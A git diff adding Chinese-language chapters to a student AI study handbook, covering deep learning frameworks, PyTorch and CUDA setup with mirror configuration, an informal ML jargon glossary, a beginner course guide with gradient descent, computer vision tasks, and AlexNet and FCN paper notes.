[机器学习是什么?它是如何工作的呢?](https://www.youtube.com/watch?v=elojMnjn4kk&list=PL5-da3qGB5ICeMbQuqbbCOQWcS6OYBr5A&index=1) +- [深度学习——一份非技术性的简介](http://www.slideshare.net/AlfredPong1/deep-learning-a-nontechnical-introduction-69385936) + +很多都非常好玩,举了不少例子 + +# 论文感觉好复杂 + +B 站上李沐教读论文的相关视频可以看看,也可以看看我们第二章的教程,克服恐惧心理是科研的必修课,社团也会组织相关活动带领大家一起读论文的。 + +# 我想快速对接老师 + +如果你已经想清楚自己要什么的话,我推荐你去学习基础内容以及深度学习计算机视觉模块。 + +我们熟悉的不少老师是进行相关工作的,我们有一套独有的速成方案,可以联系 ZZM 详谈。 + +# 有教程吗? + +可以去看本章的相关资料,里面有详细的学习教程,如果有不会的欢迎及时提问。 diff --git a/4.人工智能/4.6.1工欲善其事,必先利其器.md b/4.人工智能/4.6.1工欲善其事,必先利其器.md new file mode 100644 index 0000000..bd8708a --- /dev/null +++ b/4.人工智能/4.6.1工欲善其事,必先利其器.md @@ -0,0 +1,234 @@ +# 工欲善其事,必先利其器 + +> 有一个英语词汇叫做 Handy,讲的是便利的,易使用的,当你有一个良好的环境配置时候,编程将变得 handy,随手打开即可编程,一点都不复杂,所以配置好的环境,是未来学习快速进步的必要保障。 + +首先来了解一下深度学习框架 + +## 深度学习框架 + +![](static/boxcnWLzi1LIWLCncrXcTcjAKne.png) + +### 1、深度学习框架是什么 + +在深度学习初始阶段,每个深度学习研究者都需要写大量的重复代码。 + +为了提高工作效率,他们就将这些代码写成了框架放到网上让所有研究者一起使用。 + +作一个简单的比喻,一套深度学习框架就是一套积木,各个组件就是某个模型或算法的一部分,你可 + +以自己设计如何使用积木去堆砌符合你数据集的积木。 + +#### 思考题 + +自行了解张量和基于张量的各种操作。 + +### 2、为什么需要深度学习框架 + +显然是为了降低使用门槛。 深度学习对硬件环境的依赖很高,对于开发者有较高的门槛,深度学习计 + +算框架的出现,屏蔽了大量硬件环境层面的开发代价,使研究者和开发人员可以专注于算法的实现, + +快速迭代。 + +## TensorFlow 和 pytorch + +这么多的框架,我们应该如何选择呢(好吧直接就 TensorFlow 和 pytorch 了) + +### 1. TensorFlow + +#### 开发语言 + +基于 python 编写,通过 C/C++ 引擎加速,是 Google 开源的第二代深度学习框架。 + +#### 编程语言 + +Python 是处理 TensorFlow 的最方便的客户端语言。不过,JavaScript、C++、Java、Go、C#和 Julia 也提供了实验性的交互界面。 + +#### 优点 + +(不讲人话的版本) + +处理循环神经网 RNN 非常友好。其用途不止于深度学习,还可以支持增强学习和其他算法。 + +内部实现使用了向量运算的符号图方法,使用图 graph 来表示计算任务,使新网络的指定变得相当容易,支持快速开发。TF 使用静态计算图进行操作。也就是说,我们首先定义图,然后运行计算,如果需要对架构进行更改,我们将重新训练模型。TF 选择这种方法是为了提高效率,但是许多现代神经网络工具能够在不显著降低学习速度的情况下,同时兼顾到在学习过程中进行改进。在这方面,TensorFlow 的主要竞争对手是 Pythorch。 + +(讲人话啊喂!!) + +- 谷歌爸爸一撑腰,研究代码两丰收 +- 新版 TensorFlow API(STFW) 较简洁 +- 天生和谷歌云兼容 +- 有良好的推断支持 +- 功能十分强大! + +#### 缺点 + +(不讲人话的版本) + +目前 TensorFlow 还不支持“内联(inline)”矩阵运算,必须要复制矩阵才能对其进行运算,复制庞大的矩阵会导致系统运行效率降低,并占用部分内存。 + +TensorFlow 不提供商业支持,仅为研究者提供的一种新工具,因此公司如果要商业化需要考虑开源协议问题。 + +(讲人话!!) + +- API 不稳定 +- 学习成本高 +- 开发成本高 +- 会出现前面版本存在的功能后面版本直接没了 + +### 2.pytorch + +#### 开发语言 + +Facebook 用 Lua 编写的开源计算框架,支持机器学习算法。Tensorflow 之后深入学习的主要软件工具是 PyTorch。 + +Facebook 于 2017 年 1 月开放了 Torch 的 Python API ― PyTorch 源代码。 + +#### 编程语言 + +PyTorch 完全基于 Python。 + +(直接说人话吧) + +#### 优点 + +- 上手容易 +- 代码简洁 +- 有较好的灵活性和速度 +- 发展快速,现在已经支持 TPU +- API 相对稳定 +- 里面附带许多开源模型代码可以直接调用 +- 非常建议使用 pytorch,tensorflow 版本更迭会导致很多代码失效,前期不建议使用。 + +#### 缺点 + +- + +没有 Keras API 那么简洁 + +- 一些功能难以实现 + +## 安装 + +### Pytorch + +官网如下 + +![](static/boxcnaF9UWNcr5pt99Zu5Wr0PTg.png) + +![](static/boxcnqHCP5KiSF4Vmc6M1cjEXKg.png) + +选择 Conda 或者 Pip 安装皆可 + +有独立显卡请下载 CUDA,没有的话请下载 CPU + +最后选择 CUDA 版本或者 CPU 版本运行指令就好了 + +### Tip:conda 换源 + +如果你使用 conda 安装 pytorch 太慢或者失败,不妨换个下载源试试 + +在 [cmd](https://so.csdn.net/so/search?q=cmd&spm=1001.2101.3001.7020) 命令行中,输入添加以下命令: + +``` +conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud/msys2/ +conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud/conda-forge +conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/free/ +conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud/pytorch/ +conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/main/ +conda config --set show_channel_urls yes +``` + +### TensorFlow + +![](static/boxcn5u9u9M6DPRh83ufoSwfuof.png) + +#### 教程 + +[在 Windows 上配置 pytorch!(CPU 和 GPU 版)](https://www.bilibili.com/video/BV1YY4y1B7cA?spm_id_from=333.337.search-card.all.click&vd_source=8e0b454d3850af2ce4435d1ca2d9e040) + +[Windows 下 PyTorch 入门深度学习环境安装与配置 CPU GPU 版](https://www.bilibili.com/video/BV1S5411X7FY?p=1&vd_source=8e0b454d3850af2ce4435d1ca2d9e040) + +[最新 TensorFlow 2.8 极简安装教程](https://www.bilibili.com/video/BV1i34y1r7dv/?spm_id_from=333.788&vd_source=8e0b454d3850af2ce4435d1ca2d9e040) + +#### 思考题:为什么需要 CUDA 版本??? + +cuda 版本需要额外配置,我们将这个任务留给聪明的你!!! + +### Tips:Windows 和 Linux 如何查看显卡信息 + +#### windows + +同时按下键盘的 win+r 键,打开 cmd,键入 `dxdiag` 然后回车 +系统、显卡、声卡以及其他输入设备的信息都在这里了。(给出我的界面) + +![](static/boxcnXHceTuUl0XzCNJv9RqHN9c.png) + +cuda 版本查看 + +桌面空白位置摁下右键 + +![](static/boxcnbxhAei6H4OWjaN0Hp0YICg.png) + +![](static/boxcnp9i1SagOxXd17W9BiP3RNe.png) + +![](static/boxcngaZNZB3XLSJia0rk0DgGbe.png) + +#### linux + +打开 bash 键入 + +```bash +nvidia-smi +``` + +## 很多人会混淆的东西(非常重要) + +### cuda driver version / cuda runtime version + +通常大家所指的 cuda 是位于/usr/local 下的 cuda + +![](static/boxcntFGELTpdcVoigy5ldCorAb.png) + +当然可以看到 cuda 是 cuda-11.6 所指向的软链接(类似 windows 的快捷方式),所以我们如果要切换 cuda 版本只需要改变软链接的指向即可。 + +![](static/boxcnTB39MtPKBr9CgufCpSIYuf.png) + +cuda driver version 是 cuda 的驱动版本。 + +cuda runtimer version 是我们实际很多时候我们实际调用的版本。 + +二者的版本是可以不一致的。如下图所示: + +![](static/boxcnATNfI2spkNsXbqtIuwwY6c.png) + +![](static/boxcnz03UebyZ42JNOXpdUfjMBg.png) + +一般来讲 cuda driver 是向下兼容的。所以 cuda driver version >= cuda runtime version 就不会太大问题。 + +如果我们用 C++ 写 CUDA,具体的说就是编写以.cu 为后缀的文件。就是用 nvcc(cuda 编译器)去编译的,nvcc 是 cuda runtime api 的一部分。cuda runtime 只知道自身构建时的版本,并不知道是否 GPU driver 的版本,甚至不知道是否安装了 GPU driver。 + +### Pytorch/tensorflow 使用的 cuda 版本 + +以 pytorch 为例,可以看到在安装过程中我们选择的 cuda 版本是 10.2 + +![](static/boxcns8yMCuacj0A2BbMU6ZB08b.png) + +那么这个 cudatookit10.2 和 nvidia-smi 的 11.7 以及 nvcc -V 的 11.4 三者有什么区别呢? + +pytorch 实际只需要 cuda 的链接文件,即.so 文件,这些链接文件就都包含的 cudatookkit 里面。并不需要 cuda 的头文件等其他东西,如下所示 + +![](static/boxcnXWjMnlXjMg2lA1ApjoUhnh.png) + +所以我们如果想让使用 pytorch-cuda 版本,我们实际上不需要/usr/local/cuda。只需要在安装驱动的前提下,在 python 里面安装 cudatookit 即可。 + +但是有一种情况例外,就是你要用 C++ CUDA 编写核函数给 pytorch 当做插件。这种情况下就需要/usr/local/cuda 以及 nvcc,cudatookit,而且后面两个版本很多时候需要保持严格一致。 + +### Cudnn + +Cudnn 是一些链接文件,你可以理解成是为了给 cuda 计算加速的东西。同样的我们也可以用以下命令查看/usr/local/cuda 的 cudnn: + +![](static/boxcnPD5DbA3NPimtV0kVoDJGmh.png) + +以及 pytorch 的 cuda 环境的 cudnn + +![](static/boxcnZQ2Mc52Us6ku543l7WPEZd.png) diff --git a/4.人工智能/4.6.2你可能会需要的术语介绍.md b/4.人工智能/4.6.2你可能会需要的术语介绍.md new file mode 100644 index 0000000..fdfc74a --- /dev/null +++ b/4.人工智能/4.6.2你可能会需要的术语介绍.md @@ -0,0 +1,47 @@ +# 你可能会需要的术语介绍 + +众所周知,一个领域的黑话对新人来说是比较不友好的,为此我从知乎上找了一篇黑话大赏(bushi)做了点改良放在这里。如果遇到看不懂的词了可以来这找找。在系统学习之前可以先无视这篇文章,遇到问题再来找找 + +> 作者:Young
链接:[https://www.zhihu.com/question/469612040/answer/2008770105](https://www.zhihu.com/question/469612040/answer/2008770105)
来源:知乎 + +- feature:一个向量 +- representation:还是一个向量 +- embedding:把输入映射成向量,有时作为名词=feature +- 提高泛化性:在各种东西上预测更准了 +- 过拟合:训练过头了 +- attention:加权提取特征,越重要的 feature 权重越高 +- adaptive:还是加权 +- few-shot learning:看了几个样本就学会了 +- zero-shot learning:一个没看就开始用自带的知识瞎蒙 +- self-supervised:自学(自监督) +- semi-supervised:教一点自学一点(半监督) +- unsupervised:没人教了,跟谁学?(无监督) +- end-to-end:一套操作,行云流水搞到底(输入是图像,输出也是图像就算) +- multi-stage:发现不行,还得一步一步来 +- domain:我圈起来一堆样本,就管他叫一个domain +- transfer:我非得在这一堆样本上训练,用在另一堆样本上,就是不直接训练,就是玩 ~ +- adversarial:我加了一部分就是让 loss 增大 +- robust:很稳我不会让 loss 变大的(但也不容易变小了) +- state of the art(sota):我(吹 nb)第一 +- outperform:我虽然没第一,但是我比 baseline 强 +- baseline:(故意)选出来的方法,让我能够看起来比它强 +- empirically:我做实验了,但不知道为啥 work +- theoretically:我以为我知道为啥 work,但没做实验,或者只做了个 toy model +- multi 开头词组 +- multi-task:把几个不同任务的 loss 加一起,完事 +- multi-domain:把几堆儿样本混一块训练,完事 +- multi-modality:把视频语音文字图像 graph 点云 xxx 混一块训练,完事 +- multi-domain multi-modal multi-media model:mua~mua~mua~mua…… +- 消融实验:删掉某模块做对比实验 +- 长尾数据:出现频率低的类别很多 +- ... Is all you need:骗你的,就是把你骗进来。除了...你还要一堆 trick +- 体素:我把世界变成 MC 了,世界是一堆方块,他们在不同视角下有各自的颜色和透明度 +- 点云:我每采样一次得到一个点,由这些点去表示我要的物体,不太直观,来张图 + +这是我用照片重建的独角兽稀疏点云,红色的不用管,是照相机视角(图不够多,巨糊) + +![](static/boxcnWx8hYfT6kFug4A1iA3uftg.png) + +![](static/boxcnbWfXyklyZwpjwy8uz2XnLh.jpg) + +先这些,后续想起来了可能会补充。 diff --git a/4.人工智能/4.6.3深度学习快速入门.md b/4.人工智能/4.6.3深度学习快速入门.md new file mode 100644 index 0000000..486df4d --- /dev/null +++ b/4.人工智能/4.6.3深度学习快速入门.md @@ -0,0 +1,122 @@ +# 深度学习快速入门 + +## 刘二大人(Pytorch) + +# [【速成课:人工智能】Ai - [21 集全/中英双语] - Artificial Intelligence_哔哩哔哩_bilibili](https://www.bilibili.com/video/BV1P7411r7Dw/?spm_id_from=333.999.0.0&vd_source=2cb6252f9211ae9d29cf1f76f0aea8d7) + +Crash course 的课程,适合速成性的了解 AI 的基本方向和内容 + +# 这是啥? + +这是一个快速入门深度学习的途径。 + +# 课程大概讲了啥? + +刘二大人的深度学习是用来给小白快速上手用的。其中介绍了大概的深度学习框架,基本的几种损失函数,激活函数,网络。 + +课程中用到了 3 个数据集:糖尿病数据集,泰坦尼克号数据集,和最经典的 MINIST 数据集。其中我们只需要用到 MINIST 数据集,其他两个如果有兴趣可以去尝试。我们最快可以在 1 个星期内训练出我们的第一个模型用来识别手写数字,初窥人工智能的门槛。 + +这个课程最主要的是着重讲解了大致的框架,深度学习的代码就像搭积木一样,当大致的框架有了,剩下的就只剩下往里面塞东西就好了。当我们学习了刘二大人的课程之后,一些基本的任务都可以用这些基本的网络简单解决。 + +# 学习这系列视频需要哪些前置条件? + +## python + +基本的一些 python 知识,你可以在本讲义中的 [python 模块](https://gw9u39xwqi.feishu.cn/wiki/wikcn8RxD1oJ4w5BVOIS9QpS4xQ)中进行简单的学习。解决其中的题目大致就可以了,之后遇到不会的只要去 Google 一下,或者去问问 ChatGPT,问问 New Bing。 + +## pycharm,pytorch,anaconda 等环境配置 + +你可以在本讲义中的 [Pytorch 安装](https://gw9u39xwqi.feishu.cn/wiki/wikcn6Bpl4ynpMSX4C8LVSYouXf)中找到怎么配置 pytorch,你可以在这里安装 [Pycharm](https://www.jetbrains.com/zh-cn/pycharm/)。 + +你可以在本讲义中的 [python 安装](https://gw9u39xwqi.feishu.cn/wiki/wikcnN68wBfMYy6xOWhbo2uChsh)中找到 Pycharm 和 anaconda 的安装教学视频 + +## 一个找乐子的心 + +如果觉得它好玩的话,就去学吧。 + +## 前置知识? + +要啥前置知识,这就是给你入门用的。如果你不打无准备的仗,你可以简单看看[机器学习快速入门](https://gw9u39xwqi.feishu.cn/wiki/wikcnmBWmI8fZmhynbnHzxrRMMd)。 + +# 学完课程之后可能出现的问题 + +通过这个课程虽然我们可以进行快速入门,但经过我个人的入门实践表明,视频中没有告诉你完整的数学推导,你们在那时候也懒得进行公式推导,所以在观看这门教程之后虽然已经会基本的 coding 能力了但是基础并不扎实。 + +我们不知道每一个给你封装好的函数具体在干什么,不知道经过这个线性层,经过这个卷积操作出来的特征大致对应着什么,它们对我们来说确实变成了一个黑盒。我们只知道:欸,我就这么一写,in_feature 和 out_feature 写对了,程序成功运行了,正确率有 80% 多欸,我已经会深度学习了。 + +所以在这门课程结束之后建议手写其中的一些封装好的函数,比如一些基础的线性层。尝试画个图,像课程中刘二讲给我们的那样,看看大致的流程,每一层出来的特征大致代表着什么。 + +# 你还有疑惑? + +你可以通过以下方式解决你对于此课程的疑惑: + +## CSDN + +由于是一款大众的入门视频,所以有很多课代表记了笔记,发了作业答案在 CSDN 上,你可以在课代表这进行课前预习,课后复习,作业抄袭 :) + +## 基础知识的疑惑 + +如果你对于课程中的一些基本知识比如说梯度下降算法等感到疑惑,你可以移步[机器学习快速入门](https://gw9u39xwqi.feishu.cn/wiki/wikcnmBWmI8fZmhynbnHzxrRMMd) + +当然,在这里我会简单的为你讲解一下最基础最关键的算法:梯度下降算法。和怎么快速理解计算机为什么能识别手写数字。 + +## torch 我还不会呢! + +学会一个庞大并且高度封装的包并不是一蹴而就的,我们建议从实践开始,比如说自己搭建一个神经网络来实现 MNIST 的分类。在使用这些函数和类的过程中你能更快地掌握它们的方法。 + +# 关于梯度下降算法: + +### 损失 + +![](static/boxcnRbeabbEppeHlM39UwqJSJc.png) + +首先我们需要有一个损失函数 +$$ +F(x),x=true-predict +$$ + + +这样通过一个函数我们就得到了一个具体的数值,这个数值的意义是:现在的输入数据经过一个拟合函数处理后得到的结果和真实结果的差距,梯度下降算法就是根据这个为基础进行对拟合函数中参数的优化。 + +### 梯度下降 + +![](static/boxcnMuwaG2okodvywzbxX138Re.png) + +假设损失函数为 +$$ +y=x^2 +$$ + +,梯度下降的目的是快速找到导数为 0 的位置(附近) + +![](static/boxcn83M9AW6xDm5pBIqmZEC6Kf.png) + +![](static/boxcneVFa131Lb9xDMCsIMI9fcc.png) + +以此类推,我们最后的 w 在 0 的附近反复横跳,最后最接近目标函数的权重 w 就是 0。 + +### 简单理解 + +你可以简单这样理解:游戏中你在靶场练狙击枪,你用 4-8 倍镜瞄了 400 米的靶子,真实值就是靶心。你开了一枪后发现落在靶心上方,于是你根据距离靶心的远近,你的大脑开始计算优化下次瞄的位置,如果你往上面偏了很多,你就会将瞄点往下移动很多,如果往上偏了一点点,你就会将瞄点往下移动一点点。 + +移动的途中可能出现移动的过多的情况,从上偏变成下偏了,这就是如果学习率过大会出现的问题。 + +总而言之,你打狙击枪脑子怎么分析的,梯度下降算法就是怎么算的。当然由于它是电脑没有灵活的机动性,他的权重只能逐渐改变。 + +# 关于 MINIST + +![](static/boxcnxdyWA6Sj82kNxMlQ1b9hDg.png) + +这个数据集可以说是最最经典的数据集了,里面有 0-9 这 10 个数字的手写图片和标注,正确率最高已经到了 99.7%. + +# 接下来干什么? + +- 我想学 CV !!!!!! + +你可以在 CV 模块中找到[经典网络](https://gw9u39xwqi.feishu.cn/wiki/wikcnnLjMBAKyqH5WKK3jXa8xdc) ,这里是一些最最经典的论文,我们推荐你阅读它们的原文并且复现它们的代码,这可以同时锻炼你的coding 能力和论文阅读能力,在阅读前,请参见[如何读论文](https://gw9u39xwqi.feishu.cn/wiki/wikcnRXiOz6FuOSGjPxmBgCNvcd) 。本模块的撰写者SRT 社团主要从事 CV 方向的研究,遇到问题欢迎与我们交流。(你都完成这些了不至于找不到我们的联系方式吧~)如果你读完了经典网络模块,你可以在它的最后找到接下来的学习路线~ + +- 我想做NLP !!!!!! + +NLP 研究方向庞大且复杂,若直接从 GPT 系列开始不免有些过于困难。我们建议你从了解 NLP 的任务开始,在有足够的基础后开始学习 RNN,LSTM 基准方法后向 [Transformer](https://gw9u39xwqi.feishu.cn/wiki/wikcnPNyq3BTIYKT6LFlViyTzNe) 进发 ,这个方法广泛运用在几乎所有深度学习领域,尤其是 NLP 的前沿研究已经无法离开 Transformer 了 hhhh。这个模块中我们也加入了一些 Transformer 的改进工作,包括 NLP,CV,和多模态 + +- 如果你想做多模态,对比学习等,请同时了解 CV 和 NLP 模块。这将是你后续知识的基础。多模态我们没有完善的讲义推出,对比学习可以参见[对比学习](https://gw9u39xwqi.feishu.cn/wiki/wikcngR1r66tof102Aof4WywlXf) 。这是撰写者之一的论文阅读笔记,不保证准确性与理解是否准确,可以作为论文阅读路线图来参考~ diff --git a/4.人工智能/4.6.4Pytorch安装.md b/4.人工智能/4.6.4Pytorch安装.md new file mode 100644 index 0000000..d773556 --- /dev/null +++ b/4.人工智能/4.6.4Pytorch安装.md @@ -0,0 +1,63 @@ +# Pytorch 安装 + +官网如下: + +进入官网后选择 Install,在下面表格中按照你的配置进行选择: + +![](static/boxcnxltvaT52E6mu6JIYaKvM1X.png) + +其中 Package 部分选择安装的途径,这里主要介绍 Pip 和 Conda 两种途径。 + +# 通过 Pip 安装 + +Pip 在通过 python 官网下载 python 并安装时可以选择同时安装 pip,不需要额外安装 Anaconda,比较方便。 + +1. 根据你的系统、CUDA 版本等配置在表中选择,最后复制表格最下面生成的指令。 +2. Win+R 唤出 cmd 命令行窗口,将指令粘贴并运行,然后会生成下载计划并在最后附上[y/n],输入 y 并等待下载完成即可。完整的环境大概有 2.9G 且从官网下载,如果没有挂梯子需要等待较长时间。也可以配置镜像源,方法按照接下来的步骤。 +3. 对于 Windows 用户,在 C:\Users\xx\pip 目录下(没有 pip 目录就新建)创建一个 pip.ini 文件,并将下面代码块中内容复制进去: +4. 对于 Linux 用户,同样在~/.pip/pip.conf 进行配置。如果没有.pip 目录就新建,然后将下面代码块中内容复制进去: + +``` +[global] +index-url = http://pypi.douban.com/simple +extra-index-url = https://pypi.mirrors.ustc.edu.cn/simple/ + https://mirrors.aliyun.com/pypi/simple/ + https://pypi.tuna.tsinghua.edu.cn/simple/ + https://pypi.org/simple/ +trusted-host = pypi.mirrors.ustc.edu.cn + mirrors.aliyun.com + pypi.tuna.tsinghua.edu.cn + pypi.org + pypi.douban.com +``` + +# 通过 Conda 安装 + +因为 Conda 可以配置并切换虚拟环境,较为方便的下载各种库,这里更推荐使用 Conda 配环境。 + +1. 以管理员身份打开 Anaconda Prompt。这是一个操作 conda 的命令行窗口。不给管理员权限最后可能下载完成后无法安装。 +2. 按照你的配置在官网选择,记得把 Package 改为 conda,复制命令到 Anaconda Prompt 运行。 +3. 接下来 conda 会开始 solving environment,这个过程需要较长时间,并且 conda 会自动尝试多次,笔者在重配环境时平均每次 solving environment 需要 15min 左右,这一过程结束后才开始获取并生成下载计划,最后显示[y/n]询问是否开始下载。输入 y 回车开始下载。过程中请保证网络稳定!!!否则会下载失败终止进程,需要重新输入命令开始下载并等待再次 solving environment,相当折磨。 +4. 如果需要加快下载速度,可以在 Anaconda 中添加新的 channel 来换源加快下载速度,方法主要有两种:一是通过 Anaconda Navigaiton,在左边选择 Environments,在上方选择 Channels,Add,最后记得 Update Channels 即可(某些 channel 通过这种方式添加好像会显示 invalid,但是通过下一种方法却可以成功添加,原理未知);或者在 Anaconda Prompt 执行以下指令: + +```bash +conda config --set show_channel_urls yes +conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud/msys2/ +conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud/conda-forge +conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/free/ +conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud/pytorch/ +conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/main/ +conda config --show channels +``` + +# Tips:关于如何查看自己设备信息 + +## Windows + +同时按下 Win+R,运行 cmd,输入 `dxdiag` 并回车。系统、显卡、声卡以及其他设备信息都会显示。 + +![](static/boxcnepK0nkI8pWAJaO89zQoRgh.png) + +cuda 版本查看 + +![](static/boxcnRoZEZsUdVduFRR9DjegeNh.png) diff --git a/4.人工智能/4.6.5.1CV领域任务(研究目标).md b/4.人工智能/4.6.5.1CV领域任务(研究目标).md new file mode 100644 index 0000000..d8cbb86 --- /dev/null +++ b/4.人工智能/4.6.5.1CV领域任务(研究目标).md @@ -0,0 +1,61 @@ +# CV 领域任务(研究目标) + +### CV 领域的大任务 + +![](static/boxcnTUlm8EI0byGJJQ78IqGWGx.png) + +#### (a)Image classification 图像分类 + +- 识别这个图片整体所属的类别,解决的是"what"问题,给这个图片打上相应的标签,在 a 图内标签是 `bottle,cup,cube`,其他类型的图片也都有它们自己的标签,然后把这些打上标签的图片带进网络结构里作为训练集训练。 + +#### (b)Object localization 目标检测(对象定位) + +- 识别图片中各个物体所在的位置,解决的是"where"问题,此处还细分两个问题: + + - 定位:检测出图片中的物体位置,一般只需要进行画框。 + - 检测:不仅想要知道这些物体所属的类别,还想知道他们所在的具体位置,比如这张图片有 `bottle,cup,cube`,我们不仅要检测出这些物体所在的位置,还要检测处在这个位置的物体所属的类别,这就是目标检测。 + - 再看一个目标检测的例子(此处为 [Roboflow-数据集标注工具](https://roboflow.com/)的示例) + + - 这张图我们需要标注两个类别 `head(头)、helmet(头盔)` + +![](static/boxcnoyxKL4bOeYOOjrh6it0BHd.gif) + +#### (c)Semantic segmentation 语义分割 + +- 语义分割需要进一步判断图像中哪些像素属于哪个目标(进阶目标检测)。 +- 看图右下角两个 `cube` 是连在一块的 并没有分出哪一部分是哪一个的 `cube` + +#### (d)Instance segmentation 实例分割 + +- 实例分割需要区分出哪些像素属于第一个物体、哪些像素属于第二个物体,即目标检测 + 语义分割。 +- 看图右下角两个 `cube` 是分开的 + +#### (e)Key Point 人体关键点检测 + +![](static/boxcnT2udZtMmV2kLQsXoPuElNd.png) + +通过人体关键节点的组合和追踪来识别人的运动和行为,对于描述人体姿态,预测人体行为至关重要。 + +#### (f)Scene Text Recognition(STR)场景文字识别 + +![](static/boxcnB8ZB4bSaHhIhPFHHrxkakb.png) + +很多照片中都有一些文字信息,这对理解图像有重要的作用。 + +场景文字识别是在图像背景复杂、分辨率低下、字体多样、分布随意等情况下,将图像信息转化为文字序列的过程。 + +#### (g)Pattern Generation 图像生成 + +利用两张图片或者其他信息生成一张新的图片 + +![](static/boxcnOdmG0c1kkivVdTn5RUMCIc.png) + +利用左边两张小图生成右边的图片 + +#### (h)Super Resolution 超分辨率 + +将输入图片分辨率增加 + +![](static/boxcnDJ5aNv49ySjw96uCCF0dW8.png) + +当然还有一些新兴领域我们没有写入~ diff --git a/4.人工智能/4.6.5.2.1AlexNet.md b/4.人工智能/4.6.5.2.1AlexNet.md new file mode 100644 index 0000000..01fa66d --- /dev/null +++ b/4.人工智能/4.6.5.2.1AlexNet.md @@ -0,0 +1,61 @@ +# AlexNet + +所谓“深度”学习的开山之作。 + +AlexNet 有 6 千万个参数和 650,000 个神经元。 + +虽然一些理念和方式已经略有过时,但仍然是入门非常有必要读的一篇论文 + +[知乎](https://zhuanlan.zhihu.com/p/42914388) + +[论文](http://www.cs.toronto.edu/~fritz/absps/imagenet.pdf) + +### 网络框架图 + +![](static/boxcng0jB2dmDD18EwU8nAIFPIc.png) + +### 使用 ReLU 激活函数代替 tanh + +在当时,标准的神经元激活函数是 tanh()函数,这种饱和的非线性函数在梯度下降的时候要比非饱和的非线性函数慢得多,因此,在 AlexNet 中使用 ReLU 函数作为激活函数。 + +![](static/boxcnFlENdpKXUR7l4MhUXFKzfg.png) + +### 采用 Dropout 防止过拟合 + +dropout 方法会遍历网络的每一层,并设置消除神经网络中节点的概率。假设网络中的每一层,每个节点都以抛硬币的方式设置概率,每个节点得以保留和消除的概率都是 0.5,设置完节点概率,我们会消除一些节点,然后删除掉从该节点进出的连线,最后得到一个节点更少,规模更小的网络(如下图所示),然后再用反向传播方法进行训练。 + +![](static/boxcnNXzBUtJWXbUtEZzxugBr6W.png) + +![](static/boxcn7kG0PcXNumIdTFuEdaHl0e.png) + +### + +### + +### 视频讲解 + +# 思考 + +### 思考 1 + +AlexNet 中有着卷积和 MLP 两种不同的网络结构,那两者之间有着何种区别和联系呢?(可以从两者的权值矩阵去思考) + +### 思考 2 + +卷积中有一个叫感受野的概念,是什么意思呢?不同的感受野对网络有什么影响? + +### 思考 3 + +CNN 的平移不变性是什么意思? + +### 思考 4 + +分成两块来训练是一个历史遗留问题,后面接线性层也是历史问题,可以思考一下为什么并且你会在下一章中得到一定的答案。 + +### 思考 5 + +这里面提出了 relu 激活函数,你在这章知道 relu 是怎么样的函数,那么它是怎么样实现线性与非线性的转化呢 + +### 思考 6 + +前面学习中你已经掌握了卷积,那卷积是怎样实现特征提取的呢。 diff --git a/4.人工智能/4.6.5.2.2FCN.md b/4.人工智能/4.6.5.2.2FCN.md new file mode 100644 index 0000000..6eaf637 --- /dev/null +++ b/4.人工智能/4.6.5.2.2FCN.md @@ -0,0 +1,51 @@ +# FCN + +图像分割领域的开山之作。 + +首次将End-to-End的思想应用在了 CV 领域。 + +[知乎](https://zhuanlan.zhihu.com/p/30195134) + +[论文](https://arxiv.org/pdf/1411.4038.pdf) + +### 框架图 + +![](static/boxcndYCXYj7rNfhXoSaEPZxpyc.png) + +### 同 CNN 的对比 + +通常 CNN 网络在卷积层之后会接上若干个全连接层, 将卷积层产生的特征图(feature map)映射成一个固定长度的特征向量。以 AlexNet 为代表的经典 CNN 结构适合于图像级的分类和回归任务,因为它们最后都期望得到整个输入图像的一个数值描述,比如 AlexNet 的 ImageNet 模型输出一个 1000 维的向量表示输入图像属于每一类的概率。 + +FCN 对图像进行像素级的分类,从而解决了语义级别的图像分割问题。与经典的 CNN 在卷积层之后使用全连接层得到固定长度的特征向量进行分类不同,FCN 可以接受任意尺寸的输入图像,采用反卷积层对最后一个卷积层的 feature map 进行上采样, 使它恢复到输入图像相同的尺寸,从而可以对每个像素都产生了一个预测, 同时保留了原始输入图像中的空间信息, 最后在上采样的特征图上进行逐像素分类。 + +简单的来说,FCN 与 CNN 的区域在把于 CNN 最后的全连接层换成卷积层,输出的是一张已经 Label 好的图片。 + +### 反卷积 + +这里提到的反卷积,FCN 作者称为 backwards convolution,有人称 Deconvolution layer is a very unfortunate name and should rather be called a transposed convolutional layer. 我们可以知道,在 CNN 中有 con layer 与 pool layer,con layer 进行对图像卷积提取特征,pool layer 对图像缩小一半筛选重要特征,对于经典的图像识别 CNN 网络,如 IMAGENET,最后输出结果是 1X1X1000,1000 是类别种类,1x1 得到的是。FCN 作者,或者后来对 end to end 研究的人员,就是对最终 1x1 的结果使用反卷积(事实上 FCN 作者最后的输出不是 1X1,是图片大小的 32 分之一,但不影响反卷积的使用)。 + +这里图像的反卷积使用了这一种反卷积手段使得图像可以变大,FCN 作者使用的方法是这里所说反卷积的一种变体,这样就可以获得相应的像素值,图像可以实现 end to end。 + +![](static/boxcngqgiogbvy4OYpIzIo6eSXd.png) + +### 视频 + +# 思考 + +## 思考 1 + +什么是端到端(End-to-End)? + +端到端的网络有什么优点? + +## 思考 2 + +关于反卷积,你理解了吗? + +## 思考 3 + +FCN 的任务和上一篇论文 AlexNet 有什么区别,从对图像的最终预测延伸到数学上是哪两种模型? + +## 思考 4 + +在该文中提到的语义分割是什么意思呢?语义又代表什么? diff --git a/4.人工智能/4.6.5.2.3ResNet.md b/4.人工智能/4.6.5.2.3ResNet.md new file mode 100644 index 0000000..d2eff34 --- /dev/null +++ b/4.人工智能/4.6.5.2.3ResNet.md @@ -0,0 +1,207 @@ +# ResNet + +残差神经网络(ResNet)是由微软研究院的何恺明大神团队提出的一个经典网络模型,一经现世就成为了沿用至今的超级 Backbone。 + 